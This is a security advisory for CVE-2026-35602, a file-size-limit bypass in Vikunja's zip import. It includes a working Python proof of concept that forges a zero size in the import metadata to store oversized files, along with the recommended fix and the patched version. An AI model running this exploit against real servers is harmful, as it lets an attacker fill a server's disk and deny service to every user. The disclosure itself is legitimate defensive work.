CVE-2026-35602 is a medium-severity (CVSS 5.4) CWE-770 vulnerability in code.vikunja.io/api. A fix is available for code.vikunja.io/api — see the affected versions and patch details below.
Vikunja has a File Size Limit Bypass via Vikunja Import
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-35602.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
code.vikunja.io/apiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Vikunja file import endpoint uses the attacker-controlled Size field from the JSON metadata inside the import zip instead of the actual decompressed file content length for the file size enforcement check. By setting Size to 0 in the JSON while including large compressed file entries in the zip, an attacker bypasses the configured maximum file size limit.
Details
During import, the JSON metadata from data.json inside the zip archive is deserialized into project structures. File content is read independently from the zip entries. When creating attachments, the code at pkg/modules/migration/create_from_structure.go:406 passes the attacker-controlled File.Size from the JSON:
err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, a.File.Size, user)
The file size enforcement check at pkg/files/files.go:118 then evaluates this attacker-controlled value:
if realsize > config.GetMaxFileSizeInMBytes()*uint64(datasize.MB) && checkFileSizeLimit {
With Size set to 0 in the JSON, the comparison 0 > 20MB evaluates to false and the check passes. The actual file content (from the zip entry) can be up to 500MB per entry (the readZipEntry limit). Highly compressible content like zero-filled buffers achieves extreme compression ratios, allowing a small zip upload to store gigabytes of data.
Proof of Concept
Tested on Vikunja v2.2.2 with default max_file_size: 20MB.
import zipfile, io, json, requests
TARGET = "http://localhost:3456"
token = requests.post(f"{TARGET}/api/v1/login",
json={"username": "user1", "password": "User1pass!"}).json()["token"]
h = {"Authorization": f"Bearer {token}"}
# Craft zip with forged Size=0 in JSON but 25MB actual content
large_content = b"A" * (25 * 1024 * 1024) # 25MB
data = [{"title": "Project", "tasks": [{"title": "Task", "attachments": [{
"file": {"name": "large.bin", "size": 0, "created": "2026-01-01T00:00:00Z"},
"created": "2026-01-01T00:00:00Z"}]}]}]
zip_buf = io.BytesIO()
with zipfile.ZipFile(zip_buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr("VERSION", "2.2.2")
zf.writestr("data.json", json.dumps(data))
zf.writestr("large.bin", large_content)
resp = requests.put(f"{TARGET}/api/v1/migration/vikunja-file/migrate",
headers=h,
files={"import": ("export.zip", zip_buf.getvalue(), "application/zip")})
Output:
HTTP 200: {"message": "Everything was migrated successfully."}
25MB file stored despite 20MB server limit.
Impact
An authenticated user can exhaust server storage by uploading small compressed zip files that decompress into files exceeding the configured maximum file size limit. A single ~25KB upload can store ~25MB due to zip compression ratios. Repeated exploitation can fill the server's disk, causing denial of service for all users. No per-user storage quota exists to contain the impact.
Recommended Fix
Use the actual content length instead of the attacker-controlled Size field:
err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, uint64(len(a.File.FileContent)), user)
Found and reported by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.vikunja.io/api | all versions | 2.3.0go get code.vikunja.io/api@v2.3.0 |
Affected Products
vikunjavikunjaDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update code.vikunja.io/api to 2.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-35602 is resolved across your whole dependency graph.
Workarounds
Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.
Frequently Asked Questions
Is CVE-2026-35602 in your dependencies?
Find it across Go, including transitive dependencies.